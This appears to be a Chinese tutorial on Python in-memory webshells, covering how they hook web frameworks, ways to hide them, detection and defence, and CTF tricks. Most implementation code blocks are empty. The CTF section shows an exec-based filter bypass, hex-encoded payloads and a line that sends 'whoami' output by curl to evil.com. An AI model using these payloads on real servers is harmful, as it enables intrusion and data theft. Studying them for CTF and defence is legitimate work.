Python 内存马(内存 Webshell)技术详解
强网杯 RS 加密签名伪造及 PyramidWeb 利用栈帧打内存马 先知社区
对 pyramid 框架无回显的学习以一道 ctf 题目为例 先知社区
内存马(In-Memory Webshell)是一种无文件攻击技术,特别适用于Python Web应用。以下是Python环境下内存马的全面分析:
一、Python内存马核心原理
Python内存马主要通过以下方式实现:
- 运行时代码注入:利用
exec/eval等函数动态执行代码 - 框架Hook:修改Web框架的路由、视图或中间件
- 全局拦截:劫持Python内置函数或模块
二、常见Python内存马实现方式
1. 路由型内存马(最常用)
1 | |
2. 中间件型内存马
1 | |
3. 异常处理型内存马
1 | |
三、高级隐蔽技术
1. 反射加载
1 | |
2. 编码混淆
1 | |
3. 延迟加载
1 | |
四、检测与防御方案
检测方法:
运行时检查:
1
2
3
4
5import inspect
# 检查所有路由
print(app.url_map)
# 检查已加载模块
print(sys.modules)内存扫描工具:
- Pyrasite
- Memhunter
防御措施:
禁用危险函数:
1
2__builtins__.exec = None
__builtins__.eval = None沙箱环境:
1
from restrictedpython import compile_restrictedRASP防护:
- 监控异常路由注册
- 拦截危险模块加载
五、CTF实战技巧
绕过过滤:
1
2
3
4
5# 字符串拼接
'ex'+'ec("import os; os.system(\'whoami\')")'
# Unicode编码
exec('\x69\x6d\x70\x6f\x72\x74\x20\x6f\x73')无回显利用:
1
2# DNS外带
exec("import os; os.system('curl http://evil.com/`whoami`')")持久化:
1
2
3# 修改.pyc文件
import py_compile
py_compile.compile('malicious.py')
Python内存马因其灵活性成为高级攻击手段,理解其原理对攻防双方都至关重要。在CTF比赛中,这类题目通常考察代码审计、绕过技巧和内存操作能力。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。